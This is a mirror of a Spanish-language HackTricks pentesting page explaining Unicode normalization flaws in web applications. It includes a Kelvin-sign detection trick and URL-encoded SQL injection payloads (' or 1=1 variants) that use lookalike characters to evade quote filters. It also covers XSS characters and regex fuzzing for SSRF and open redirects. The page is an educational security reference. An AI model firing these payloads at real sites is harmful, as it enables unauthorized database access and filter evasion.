Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 07:01:09 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/unicode-injection/unicode-normalization.md

9.7 KiB
Raw Blame History

Normalización Unicode

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Antecedentes

La normalización asegura que dos cadenas que pueden usar una representación binaria diferente para sus caracteres tengan el mismo valor binario después de la normalización.

Hay dos tipos generales de equivalencia entre caracteres, "Equivalencia canónica" y "Equivalencia de compatibilidad":
Los caracteres "Equivalente canónico" se supone que tienen la misma apariencia y significado cuando se imprimen o muestran. La "Equivalencia de compatibilidad" es una equivalencia más débil, en el sentido de que dos valores pueden representar el mismo carácter abstracto pero pueden mostrarse de manera diferente. Hay 4 algoritmos de normalización definidos por el estándar Unicode; NFC, NFD, NFKD y NFKD, cada uno aplica técnicas de normalización canónicas y de compatibilidad de manera diferente. Puedes leer más sobre las diferentes técnicas en Unicode.org.

Codificación Unicode

Aunque Unicode fue diseñado en parte para resolver problemas de interoperabilidad, la evolución del estándar, la necesidad de admitir sistemas heredados y diferentes métodos de codificación aún pueden plantear un desafío.
Antes de adentrarnos en los ataques Unicode, estos son los puntos principales que debes entender sobre Unicode:

  • Cada carácter o símbolo se asigna a un valor numérico que se denomina "punto de código".
  • El valor del punto de código (y, por lo tanto, el carácter en sí) se representa mediante 1 o más bytes en memoria. Los caracteres LATIN-1 como los utilizados en los países de habla inglesa se pueden representar utilizando 1 byte. Otros idiomas tienen más caracteres y necesitan más bytes para representar todos los diferentes puntos de código (también porque no pueden usar los ya tomados por LATIN-1).
  • El término "codificación" significa el método en el que los caracteres se representan como una serie de bytes. El estándar de codificación más común es UTF-8, utilizando este esquema de codificación, los caracteres ASCII se pueden representar utilizando 1 byte o hasta 4 bytes para otros caracteres.
  • Cuando un sistema procesa datos, necesita conocer la codificación utilizada para convertir el flujo de bytes en caracteres.
  • Aunque UTF-8 es el más común, hay estándares de codificación similares llamados UTF-16 y UTF-32, la diferencia entre cada uno es el número de bytes utilizados para representar cada carácter. es decir, UTF-16 utiliza un mínimo de 2 bytes (pero hasta 4) y UTF-32 utiliza 4 bytes para todos los caracteres.

Un ejemplo de cómo Unicode normaliza dos bytes diferentes que representan el mismo carácter:

Aquí puedes encontrar una lista de caracteres equivalentes Unicode: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html y https://0xacb.com/normalization_table

Descubrimiento

Si puedes encontrar dentro de una aplicación web un valor que se está reenviando, podrías intentar enviar 'KELVIN SIGN' (U+0212A) que se normaliza a "K" (puedes enviarlo como %e2%84%aa). Si se devuelve un "K", entonces, se está realizando algún tipo de normalización Unicode.

Otro ejemplo: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83 después de Unicode es Leonishan.

Ejemplos vulnerables

Bypass de filtro de inyección SQL

Imagina una página web que está usando el carácter ' para crear consultas SQL con la entrada del usuario. Esta web, como medida de seguridad, elimina todas las ocurrencias del carácter ' de la entrada del usuario, pero después de esa eliminación y antes de la creación de la consulta, normaliza usando Unicode la entrada del usuario.

Entonces, un usuario malintencionado podría insertar un carácter Unicode diferente equivalente a ' (0x27) como %ef%bc%87 , cuando la entrada se normaliza, se crea una comilla simple y aparece una vulnerabilidad de SQLInjection:

Algunos caracteres Unicode interesantes

  • o -- %e1%b4%bc
  • r -- %e1%b4%bf
  • 1 -- %c2%b9
  • = -- %e2%81%bc
  • / -- %ef%bc%8f
  • --- %ef%b9%a3
  • #-- %ef%b9%9f
  • *-- %ef%b9%a1
  • ' -- %ef%bc%87
  • " -- %ef%bc%82
  • | -- %ef%bd%9c
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

Plantilla sqlmap

{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}

XSS (Cross Site Scripting)

Se pueden utilizar uno de los siguientes caracteres para engañar a la aplicación web y explotar una XSS:

Observe que, por ejemplo, el primer carácter Unicode propuesto se puede enviar como: %e2%89%ae o como %u226e

Fuzzing Regexes

Cuando el backend está verificando la entrada del usuario con una expresión regular, es posible que la entrada se esté normalizando para la expresión regular pero no para donde se está utilizando. Por ejemplo, en una redirección abierta o SSRF, la expresión regular podría estar normalizando la URL enviada pero luego accediendo a ella tal cual.

La herramienta recollapse permite generar variaciones de la entrada para probar el backend. Para obtener más información, consulte el github y este post.

Referencias

Toda la información de esta página fue tomada de: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#

Otras referencias:

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥